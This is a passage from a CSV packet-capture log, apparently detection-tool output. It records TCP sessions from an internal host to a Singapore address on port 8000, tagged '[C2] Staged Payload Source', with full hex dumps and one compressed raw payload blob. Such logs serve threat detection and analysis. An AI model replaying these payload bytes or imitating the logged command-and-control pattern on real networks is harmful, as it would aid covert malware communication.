Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895848 Ack=58649569,bc2411360d0cbc24112907bb0800450000280000400040063000c0a3a7890a98980b1f40fa5fd4a9c528037eebe15010003f01f30000,\".$.6\n..$.)....E..(..@.@.0.....\n....@._...(.~..P..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12288, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895848, \"\"ack\"\": 58649569, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 499, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:11:26.745171,780,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=1192262838 Ack=0,bc24112907bbbc2411360d0c080045000034b119400080063eda0a98980bc0a3a789fa651f4047107cb6000000008002faf08be20000020405b40103030801010402,\".$.)...$.6\n...E..4..@...>.\n........e.@G.|.........................\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45337, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16090, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192262838, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 35810, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-01 09:11:26.745220,781,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=244801122 Ack=1192262839,bc2411360d0cbc24112907bb0800450000340000400040062ff4c0a3a7890a98980b1f40fa650e975e6247107cb78012faf00af70000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@./.....\n....@.e..^bG.|.....\n..............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12276, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801122, \"\"ack\"\": 1192262839, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-01 09:11:26.745486,782,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1192262839 Ack=244801123,bc24112907bbbc2411360d0c080045000028b11a400080063ee50a98980bc0a3a789fa651f4047107cb70e975e63501020143a880000,\".$.)...$.6\n...E..(..@...>.\n........e.@G.|...^cP. .:...\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45338, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16101, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192262839, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14984, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:11:26.760607,783,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1192262839 Ack=244801123,bc24112907bbbc2411360d0c0800450000c9b11b400080063e430a98980bc0a3a789fa651f4047107cb70e975e63501820144d4800009d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91db7186c76631949a07002f74ac6f,\"........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq..\t...M.w5.\n_.`....=w..........W.~...z].m..q..f1..../t.o\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 201, \"\"id\"\": 45339, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15939, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192262839, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 19784, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"9d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91db7186c76631949a07002f74ac6f\"\"}}]\"\n2026-07-01 09:11:26.760631,784,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263000,bc2411360d0cbc24112907bb080045000028a4c1400040068b3ec0a3a7890a98980b1f40fa650e975e6347107d585010003f0aeb0000,\".$.6\n..$.)....E..(..@.@..>....\n....@.e..^cG.}XP..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42177, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35646, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263000, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:11:27.773668,785,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192262999 Ack=244801123,bc24112907bbbc2411360d0c080045000029b11c400080063ee20a98980bc0a3a789fa651f4047107d570e975e635010201439e7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45340, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16098, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192262999, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14823, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:27.773701,786,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263000,bc2411360d0cbc24112907bb080045000034a4c2400040068b31c0a3a7890a98980b1f40fa650e975e6347107d588010003f0af700000101050a47107d5747107d58,\".$.6\n..$.)....E..4..@.@..1....\n....@.e..^cG.}X...?\n......\nG.}WG.}X\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42178, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35633, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192262999, 1192263000))]\"\"}}]\"\n2026-07-01 09:11:28.789284,787,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192262999 Ack=244801123,bc24112907bbbc2411360d0c080045000029b11d400080063ee10a98980bc0a3a789fa651f4047107d570e975e635010201439e7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45341, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16097, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192262999, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14823, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:28.789329,788,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263000,bc2411360d0cbc24112907bb080045000034a4c3400040068b30c0a3a7890a98980b1f40fa650e975e6347107d588010003f0af700000101050a47107d5747107d58,\".$.6\n..$.)....E..4..@.@..0....\n....@.e..^cG.}X...?\n......\nG.}WG.}X\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42179, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35632, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192262999, 1192263000))]\"\"}}]\"\n2026-07-01 09:11:29.804969,789,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192262999 Ack=244801123,bc24112907bbbc2411360d0c080045000029b11e400080063ee00a98980bc0a3a789fa651f4047107d570e975e635010201439e7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45342, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16096, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192262999, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14823, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:29.804992,790,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263000,bc2411360d0cbc24112907bb080045000034a4c4400040068b2fc0a3a7890a98980b1f40fa650e975e6347107d588010003f0af700000101050a47107d5747107d58,\".$.6\n..$.)....E..4..@.@../....\n....@.e..^cG.}X...?\n......\nG.}WG.}X\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42180, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35631, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192262999, 1192263000))]\"\"}}]\"\n2026-07-01 09:11:30.820587,791,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192262999 Ack=244801123,bc24112907bbbc2411360d0c080045000029b11f400080063edf0a98980bc0a3a789fa651f4047107d570e975e635010201439e7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45343, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16095, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192262999, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14823, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:30.820622,792,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263000,bc2411360d0cbc24112907bb080045000034a4c5400040068b2ec0a3a7890a98980b1f40fa650e975e6347107d588010003f0af700000101050a47107d5747107d58,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}X...?\n......\nG.}WG.}X\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42181, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35630, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192262999, 1192263000))]\"\"}}]\"\n2026-07-01 09:11:31.836254,793,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192262999 Ack=244801123,bc24112907bbbc2411360d0c080045000029b120400080063ede0a98980bc0a3a789fa651f4047107d570e975e635010201439e7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45344, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16094, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192262999, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14823, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:31.836287,794,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263000,bc2411360d0cbc24112907bb080045000034a4c6400040068b2dc0a3a7890a98980b1f40fa650e975e6347107d588010003f0af700000101050a47107d5747107d58,\".$.6\n..$.)....E..4..@.@..-....\n....@.e..^cG.}X...?\n......\nG.}WG.}X\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42182, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35629, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192262999, 1192263000))]\"\"}}]\"\n2026-07-01 09:11:32.836280,795,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192262999 Ack=244801123,bc24112907bbbc2411360d0c080045000029b121400080063edd0a98980bc0a3a789fa651f4047107d570e975e635010201439e7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45345, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, 